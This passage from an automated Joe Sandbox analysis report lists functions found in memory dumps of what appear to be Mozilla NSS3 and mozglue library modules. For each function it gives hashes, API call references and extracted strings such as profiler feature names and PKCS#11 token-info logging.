Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 41157dcf754f84fbb0cb0fb0a65985af36bae6c7e42e860b3f574cbcad3ab14d
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: D871E372E0171A8FE718CF19C98066AB7F2ABC8304F15562DD85A97B92D770ED00CB90

Function 6C605C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5D4A63,?,?), ref: 6C605F06

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction ID: 68341ea4aced98efbe536f7db206bc722c2521dc640a5740f907d79e7ea94445
Opcode Fuzzy Hash: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction Fuzzy Hash: 79C19E75E012098BCB08CF55C6906DEBBF2FF8A318F288159D8557BB44D731A806CF98

Function 6C674DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C675125

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: a251765879af4be4bc01fd42124b1bb7206c75f29545c1b89c720d01f716e732
Instruction ID: ec53789cd6a5d758581ccca475f6cf7fdc8353ae872d2988f74a85d1e67ed018
Opcode Fuzzy Hash: a251765879af4be4bc01fd42124b1bb7206c75f29545c1b89c720d01f716e732
Instruction Fuzzy Hash: 94E12870A083408FDB64DF28D48865ABBF0BF89318F119A2DF89997351E7709985CFD6

Function 6C6FA820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[nl, xrefs: 6C6FA943, 6C6FA92D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID: [[nl
API String ID: 0-3806068148
Opcode ID: cd140cb17be0e9896690a009ebdeb30f0dc7c8d16916ca514973df4c90299945
Instruction ID: 9a6d7271a1e66a470f6b780c60c0f362437a5c739dff112310289e6dc1415dd6
Opcode Fuzzy Hash: cd140cb17be0e9896690a009ebdeb30f0dc7c8d16916ca514973df4c90299945
Instruction Fuzzy Hash: F2518D71A01209CFDB04CF15D944BAA7BE6FF49308F26807DE8299B752D730D852CB94

Function 6C63AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction ID: bb68ae06108836c480beb54ce5e8cc186aaef97af16b4e23b263b537b81c23f3
Opcode Fuzzy Hash: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction Fuzzy Hash: 24F16B71A087554FDB00CE68C8807AAB7E2AFC6318F15BA1DE4D8877C2E374D8459796

Function 6C6D8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2db65aa6ca7d0678fa39ff7a64e0bba7f139039ddb5557bd40675ecd12e034
Instruction ID: 7330e530fe21130bd10cf37daa4b9b2bbc6f41c9e07bf8f1d7abf58ea8d65551
Opcode Fuzzy Hash: fd2db65aa6ca7d0678fa39ff7a64e0bba7f139039ddb5557bd40675ecd12e034
Instruction Fuzzy Hash: 26110472A002058BD714DF15D88875AB3A5FF8A35CF05527AD8058FA62C375E882CBCA

Function 6C7B0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8fd427c34512d3923e2697fe6319beafdbe6acc143a4e09dc62ef40f6686f11
Instruction ID: f62a32bbfa48bd8a43f132323e7781b318b8690c2335518e1180c9971d923f51
Opcode Fuzzy Hash: e8fd427c34512d3923e2697fe6319beafdbe6acc143a4e09dc62ef40f6686f11
Instruction Fuzzy Hash: 1F11C1B47043458FCB10DF19C9C06AA77A1FF85368F148079D8199B701DB31E806CBE1

Function 6C7B0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 44f134235d8e1af03f201f58d3dc448f9e1d2a06d45aeef70d60784deeb0a455
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 12E0927A302154A7DB148E09C655AA97359EF81619FB4807DCC5DAFA41D733F8038781

Function 6C60CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5D582D), ref: 6C60CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5D582D), ref: 6C60CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C63FE98,?,?,?,?,?,6C5D582D), ref: 6C60CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C60CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C60CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C60CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C60CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C60CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C60CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C60CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C60CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C60CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C60CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C60CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C60CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C60CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C60CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C60CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C60CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C60CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C60CE8A

Strings

noiostacks, xrefs: 6C60CCBE
ipcmessages, xrefs: 6C60CDBE
samplingallthreads, xrefs: 6C60CE2C
unregisteredthreads, xrefs: 6C60CE58
cpuallthreads, xrefs: 6C60CE16
preferencereads, xrefs: 6C60CD92
processcpu, xrefs: 6C60CE6E
fileio, xrefs: 6C60CC92
nativeallocations, xrefs: 6C60CDA8
mainthreadio, xrefs: 6C60CC7C
stackwalk, xrefs: 6C60CCF8
nostacksampling, xrefs: 6C60CD7C
power, xrefs: 6C60CE84
screenshots, xrefs: 6C60CCD4
seqstyle, xrefs: 6C60CCE6
audiocallbacktracing, xrefs: 6C60CDD4
default, xrefs: 6C60CC21
Unrecognized feature "%s"., xrefs: 6C60CEA0
jsallocations, xrefs: 6C60CD0E
markersallthreads, xrefs: 6C60CE42
leaf, xrefs: 6C60CC66
java, xrefs: 6C60CC37
notimerresolutionchange, xrefs: 6C60CE00
fileioall, xrefs: 6C60CCA8

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction ID: 0157032341d49200f80903b149b0c9f35765b3cae3350caac7a101b7dc0dce10
Opcode Fuzzy Hash: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction Fuzzy Hash: F05156C1B4563572FA0931156E20BAA1485EF6334AF107539EE0FB5EC0FB059A1AC9BF

Function 6C7128A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C7128BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C7128EF

Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7F0B88
Part of subcall function 6C7F09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7F0C5D
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C7F0C8D
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0C9C
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7F0CD1
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7F0CEC
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0CFB
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7F0D16
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C7F0D26
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0D35
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C7F0D65
Part of subcall function 6C7F09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C7F0D70
Part of subcall function 6C7F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7F0D90
Part of subcall function 6C7F09D0: free.MOZGLUE(00000000), ref: 6C7F0D99

Part of subcall function 6C6D0F00: PR_GetPageSize.NSS3(6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F1B
Part of subcall function 6C6D0F00: PR_NewLogModule.NSS3(clock,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C7128D6

Part of subcall function 6C7F09D0: PR_Now.NSS3 ref: 6C7F0A22
Part of subcall function 6C7F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7F0A35
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7F0A66
Part of subcall function 6C7F09D0: PR_GetCurrentThread.NSS3 ref: 6C7F0A70
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7F0A9D
Part of subcall function 6C7F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7F0AC8
Part of subcall function 6C7F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7F0AE8
Part of subcall function 6C7F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7F0B19
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7F0B48
Part of subcall function 6C7F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7F0C76
Part of subcall function 6C7F09D0: PR_LogFlush.NSS3 ref: 6C7F0C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C712963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C712983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C7129A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C7129C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C712A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C712A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C712A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C712A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C712AB6

Strings

serial = "%.16s", xrefs: 6C7129BE
CKF_LOGIN_REQUIRED, xrefs: 6C7129F3, 6C712A1E
manufacturerID = "%.32s", xrefs: 6C71297E
maxSessions = %u, Sessions = %u, xrefs: 6C712A43
flags = %s %s %s %s, xrefs: 6C712A21
maxRwSessions = %u, RwSessions = %u, xrefs: 6C712A61
firmware version: %d.%d, xrefs: 6C712AB1
label = "%.32s", xrefs: 6C71295E
slotID = 0x%x, xrefs: 6C7128D1
CKF_WRITE_PROTECTED, xrefs: 6C7129FE, 6C712A1F
CKF_RNG, xrefs: 6C712A13, 6C712A20
C_GetTokenInfo, xrefs: 6C7128B8
hardware version: %d.%d, xrefs: 6C712A89
pInfo = 0x%p, xrefs: 6C7128EA
model = "%.16s", xrefs: 6C71299E
CKF_USER_PIN_INIT, xrefs: 6C7129E5

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 938673ed37588552604f966a857656da35bc68f6b913df6aa4cf0ac530e84242
Instruction ID: fed6715a27fbc13f0f1159de5b5e37ea61a395f80f71fe853fc808e27beec446
Opcode Fuzzy Hash: 938673ed37588552604f966a857656da35bc68f6b913df6aa4cf0ac530e84242
Instruction Fuzzy Hash: 0551D3B1605140EFEB20DB54DF8DA653BE5AB4220DF498474ED44DBB12EB35E848CBA1

Function 6C5D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5D44B2,6C64E21C,6C64F7F8), ref: 6C5D473E
Part of subcall function 6C5D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5D44D2
InitOnceExecuteOnce.KERNEL32(6C64F80C,6C5CF240,?,?), ref: 6C5D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D455C
LoadLibraryW.KERNEL32(?), ref: 6C5D4592
InitializeCriticalSection.KERNEL32(6C64F770), ref: 6C5D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5D45BB
InitOnceExecuteOnce.KERNEL32(6C64F818,6C5CF240,?,?), ref: 6C5D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D466D
VerSetConditionMask.NTDLL ref: 6C5D469F
VerSetConditionMask.NTDLL ref: 6C5D46AB
VerSetConditionMask.NTDLL ref: 6C5D46B2
VerSetConditionMask.NTDLL ref: 6C5D46B9
VerSetConditionMask.NTDLL ref: 6C5D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5D46FD

Strings

l, xrefs: 6C5D4578
NativeNtBlockSet_Write, xrefs: 6C5D46F7
user32.dll, xrefs: 6C5D4557, 6C5D463F
Gdl, xrefs: 6C5D44FC
WRusr.dll, xrefs: 6C5D44B5
kernel32.dll, xrefs: 6C5D44CD

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gdl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-301897313
Opcode ID: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction ID: 51a20b3266608fa42c321d5f3ae4b49736d366ba45dafb63ee19ce4b4190214e
Opcode Fuzzy Hash: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction Fuzzy Hash: E56135B0604344AFEB00AF66CC89B997BB8EF8230CF05C558E5088B641D7B5A945CF5E

Function 6C7B6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6CF9C9,?,6C6CF4DA,6C6CF9C9,?,?,6C69369A), ref: 6C66CA7A
Part of subcall function 6C66CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C66CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C67BE66), ref: 6C7B6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C67BE66), ref: 6C7B6E98
sqlite3_snprintf.NSS3(?,00000000,6C81AAF9,?,?,?,?,?,?,6C67BE66), ref: 6C7B6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C67BE66), ref: 6C7B6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C67BE66), ref: 6C7B6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C67BE66), ref: 6C7B6FA6
sqlite3_snprintf.NSS3(?,00000000,6C81AAF9,00000000,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C67BE66), ref: 6C7B701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C67BE66), ref: 6C7B7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C67BE66), ref: 6C7B7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C67BE66), ref: 6C7B70A0

Strings

winGetTempname4, xrefs: 6C7B7046
mz_etilqs_, xrefs: 6C7B6F18
winGetTempname2, xrefs: 6C7B70C4
winGetTempname1, xrefs: 6C7B708F
winGetTempname5, xrefs: 6C7B7071

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
